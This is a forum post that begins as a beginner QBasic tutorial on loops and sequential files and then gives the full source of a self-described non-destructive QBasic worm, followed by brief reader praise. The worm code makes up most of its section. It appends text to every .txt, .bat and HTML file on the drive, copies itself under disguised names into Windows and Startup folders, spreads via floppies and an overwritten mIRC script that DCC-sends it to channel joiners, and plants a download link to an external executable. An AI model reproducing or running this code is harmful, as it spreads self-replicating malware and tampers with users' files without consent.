QBasic Chapter Two

QBasic Chapter One

I forgot I had already written Chapter Two in the QBasic saga, so here it is (sorry for the delay :) )




QBasic Programming Chapter Two by Jethro
---------------------------------

Chapter Two.

Welcome to the second installment of my QBasic series!

Index:

o FOR...NEXT
o WHILE...WEND
o DO...LOOP
o Sequential Files

FOR...NEXT
------------

Here is a qbasic program which uses the FOR statement:

******* for.bas ********

' This program uses FOR...NEXT
' fl00t!

CLS
FOR i = 1 TO 100
PRINT "Number: "; i
PRINT "Woo-hoo"
NEXT i

************************

Compile and run that program. What happens? The numbers should start at
one and go all the way to 100.

The FOR loop is in most languages: JavaScript, C++, PHP, even MS-DOS!
Unfortunately, QBasic being the... annoying, language that it is, the
syntax is *completely* different to all the other languages *sigh*

"FOR i = 1 to 100". This means that the variable (i) starts at 1 and
executes the print commands until i reaches 100.

"NEXT i" increments the i variable. This means that it adds 1 to i, so
the loop won't continue for infinity.

***** while.bas *****

' This program uses WHILE...WEND
' fl00t!

CLS
number = 20
WHILE number > 18
INPUT "Enter an number smaller than 18: ", number
WEND
PRINT "Well Done, Kiddo!"

********************

The WHILE loop is also a pretty common feature of most programming
languages. *Of course* the syntax is different.

"WHILE number > 18". This is pretty self-explanatory (as are most
things in QBasic). Basically, while the variable called "number" is
bigger than 18, keep executing the INPUT command. Of course, if there
was no opportunity to change the number variable in this, then the
loop would continue for eternity!

"WEND". I think this stands for "While End" which is basically the
statement which defines the end of the loop.

Here are two programs (one for FOR and one for WHILE) which will show
you what not to do! These two programs will just keep looping and
looping and looping and looping... you get the idea.

******* forever.bas *******

' FOR(ever)
' Bad #1!

CLS
FOR i = 1 to i + 1
PRINT "The number is ";i
NEXT i

***************************

and...

******* whilewereyoung.bas *****

' WHILE(we're young)
' Bad #2!

CLS
j = 10
WHILE j = 10
PRINT "J is 10"
WEND

*********************************

Do...Loop

Basically, this is another way of using the WHILE statement...

***** dowhile.bas *******

DO WHILE NOT j = 5
INPUT "Enter 5: ", j
LOOP

************************

As you can see, it is just basically an alternative method of looping.
This one loops while j is not equal to 5.

But there is another way of using do. It's called the "until"

****** dountil.bas *******

DO UNTIL j = 5
INPUT "Enter 5: ", j
LOOP

**************************

This program has the same function as the above except it keeps looping
UNTIL the j variable equals 5. LOOP indicates the end of the loop.


Sequential Files
----------------

Sequential files are a large part of QBasic programming and really easy
to use. A large term for something really easy.

Basically, sequential files are the way of using external files for
storing or reading data.
Here is an example of a program whiich uses sequential files.

******** sequential.bas *****

' This program stores data

CLS

INPUT "What is your name: ", name$
OPEN "hey.txt" FOR OUTPUT AS #1
PRINT #1, name$
CLOSE #1

******************************

Doesn't look to complicated does it? Here is a basic explanation of
everything.

'OPEN "hey.txt" FOR OUTPUT AS #1'... Basically, this OPENs the file
"hey.txt" (if it doesn't exist, a new one will be created) so it can
be written to (OUTPUT). #1 is what's called the "file number", or
"file pointer". This is what we call the file when we need to refer to
it, so we can read/write to it.

"PRINT #1, name$". This PRINTS out the variable name$ however because
we used #1 right after the PRINT command, the name$ isn't outputted to
the screen, its OUTPUT goes to #1 (ie. "hey.txt").

"CLOSE #1". This CLOSEs the file we have called #1.

There are 3 main access modes that we can use.

+++++++++-
OUTPUT - This is how we can write data to a file. Information written
to a file with the OUTPUT access mode, overwrites all (if any)
information already in the file.
---------
APPEND - With the APPEND access mode, we can write information to the
end of a file, preserving the existant information.
---------
INPUT - With this, we can get information *from* a file.
+++++++++-

Here is an example of a program using the INPUT access mode keyword. If
"hey.txt" doesn't exist, you'll get an error message when you are
running/compiling the program.

**** seq-input.bas ****

' This program uses the INPUT keyword

CLS

OPEN "hey.txt" FOR INPUT AS #1
INPUT #1, line1$
INPUT #1, line2$
CLOSE #1

PRINT "The First Line is: ", line1$
PRINT "The Second Line is: ", line2$

************************

As you can see, to get the information from #1, we use the INPUT
command.

That's enough for Chapter Two. Expect for about sequential files, among
other things, in Chapter Three.

Happy Programming,
Jethro

******** EOF ***********

For all you lovers of non-destructive QBasic virii:



QBasic Virus by Jethro
---------------------

Disclaimer: Please do not change this program into a malicious virus, this
program was made to show you that QBasic programs can be made into worms as
well. It was not made to wreck people's computers (which I might as well add,
it does not do, in its present state). I hate destructive virii.

Here is the source code to a virus I made in about 2 hours. It is
called niceday.exe and was created in QBasic.

I wanted to write a virus in QBasic, because all other virii I
encounter are written in either ASM or C++ or another popular
language, I wanted to see if I could mimick their plan of attack
in QBasic. There are no ASM commands in this, even though, if
you know QBasic, you know how easy it is to encorporate ASM into
QBasic programs. It is all QBasic, however it does enlist the help
of MS-DOS (through the SHELL command) on certain occasions so this
is a Windows (and MSDOS) only virus.

Since I really hate destructive virii, there is no fixed payload
in this. I was going to make it a random destructive payload but
I decided against it, in case someone used this code for malicious
reasons, which I do not want to happen.

What it does:
1) Appends to text files (INFECTFILES)
2) Creates messages in batch files (INFECTBATCH)
3) Spreads through mIRC (SPREAD2MIRC)
4) Spreads locally through the users computer (REMOTESPEAD)
5) Creates comments in HTML files (INFECTHTML)
6) Copies itself onto floppy disks (INFECTFLOPPY)
7) Puts a link to itself on Outlook Stationary Files (INFECTHTML)

+++++
Note: It infects Stationary files by putting a link to an executable
program on a website. You would change this to a link to your
website, or to a program on the Internet, or whatever. The default
website does not exist.
+++++


** Start source code for niceday.exe, written in QBasic by Jethro **

' Written by Jethro
' Have a Nice day!
DECLARE SUB DRAWWINDOW ()
DECLARE SUB INFECTFILES ()
DECLARE SUB SPREAD2MIRC ()
DECLARE SUB REMOTESPREAD ()
DECLARE SUB SPREAD (file2spr$, where2spr$)
DECLARE SUB INFECTHTML ()
DECLARE SUB IFEXIST (filen$)
DECLARE SUB INFECTBATCH ()
DECLARE SUB INFECTFLOPPY ()

COMMON SHARED itexist, nodrive

itexist = 0
nodrive = 0

ON ERROR GOTO ohsoz

blinks = 2

FOR i = 1 TO blinks
CLS
LOCATE 5, 12: PRINT "Jethro Perazza Jones"
LOCATE 6, 13: PRINT "Have a Nice Day Now"
SLEEP 1
DRAWWINDOW
SLEEP 1
NEXT i

INFECTFILES

SPREAD2MIRC

REMOTESPREAD

INFECTHTML

INFECTBATCH

INFECTFLOPPY

ohsoz:

errorhandler:

SELECT CASE ERR

CASE IS = 71
nodrive = 1

END SELECT

RESUME NEXT

SUB DRAWWINDOW
LOCATE 4, 10: PRINT "É"
LOCATE 5, 10: PRINT "º"
LOCATE 6, 10: PRINT "º"
LOCATE 7, 10: PRINT "È"
LOCATE 4, 48: PRINT "»"
LOCATE 5, 48: PRINT "º"
LOCATE 6, 48: PRINT "º"
LOCATE 7, 48: PRINT "¼"
FOR i = 11 TO 47
LOCATE 4, i: PRINT "Í"
LOCATE 7, i: PRINT "Í"
NEXT i
END SUB

SUB IFEXIST (filen$)
fred$ = ""
SHELL "DIR " + filen$ + " /b>files.$$$"
OPEN "files.$$$" FOR INPUT AS #1
DO WHILE NOT (EOF(1))
INPUT #1, fred$
LOOP
CLOSE #1: KILL "files.$$$"
IF NOT LEN(fred$) >= 1 THEN itexist = 0
IF LEN(fred$) >= 1 THEN itexist = 1
END SUB

SUB INFECTBATCH
SHELL "DIR C:\*.bat /B /S>batch.$$$"
OPEN "batch.$$$" FOR INPUT AS #1
DO WHILE NOT (EOF(1))
INPUT #1, file2do$
OPEN file2do$ FOR APPEND AS #2
PRINT #2, ""
PRINT #2, "echo Ran %0"
PRINT #2, ":: Having a good day?"
CLOSE #2
CLOSE #1
LOOP
KILL "batch.$$$"
END SUB

SUB INFECTFILES
PRINT "Scanning for files..."
SHELL "DIR C:\*.txt /S /B>phy.lst"
OPEN "phy.lst" FOR INPUT AS #1
DO WHILE NOT (EOF(1))
INPUT #1, phyle$
OPEN phyle$ FOR APPEND AS #2
PRINT #2, ""
PRINT #2, "Jethro P. Jones says: 'Have a nice day now!'"
CLOSE #2
LOOP
CLOSE #1
KILL "phy.lst"
PRINT "Scanning for needed drivers..."
END SUB

SUB INFECTFLOPPY
ON ERROR GOTO errorhandler
SPREAD "niceday.exe", "A:\niceday.exe"
END SUB

SUB INFECTHTML
SHELL "DIR C:\*.htm* /B /S>tempfile.$$$"
OPEN "tempfile.$$$" FOR INPUT AS #1
DO WHILE NOT (EOF(1))
INPUT #1, file2do$
OPEN file2do$ FOR APPEND AS #2
PRINT #2, ""
IF NOT INSTR(file2do$, "micros") THEN PRINT #2, ""
IF INSTR(file2do$, "micros") THEN PRINT #2, "<a href=http://www.myserver.com/jethro/happyday.exe>Download this for a very happy day!</a>"
CLOSE #2
LOOP
CLOSE #1
KILL "tempfile.$$$"
END SUB

SUB REMOTESPREAD
SPREAD "niceday.exe", "C:\WINDOWS\niceday.exe"
SPREAD "niceday.exe", "C:\WINDOWS\SYSTEM\winpgup.exe"
SPREAD "niceday.exe", "C:\WINDOWS\COMMAND\win32dice.exe"
SPREAD "niceday.exe", "C:\autoexec.exe"
SPREAD "niceday.exe", "C:\WINDOWS\StartM~1\Progra~1\Startup\win32pgup.exe"
SPREAD "niceday.exe", "C:\WINDOWS\Progra~1\niceday.exe"
END SUB

SUB SPREAD (file2spr$, where2spr$)
SHELL "COPY " + file2spr$ + " " + where2spr$ + ">nul"
END SUB

SUB SPREAD2MIRC
ON ERROR GOTO ohsoz
IFEXIST "C:\mirc\script.ini": IF itexist = 0 THEN GOTO 5
OPEN "C:\mirc\script.ini" FOR OUTPUT AS #1
PRINT #1, "[script]"
PRINT #1, "n0=on 1:JOIN:#:/.dcc send -c $nick C:\WINDOWS\niceday.exe"
CLOSE #1
5
END SUB

** End of Program **

Nice post.....

I havent come across Q Basic thus far...

Saving it to read over ;)

Great post! Thanks.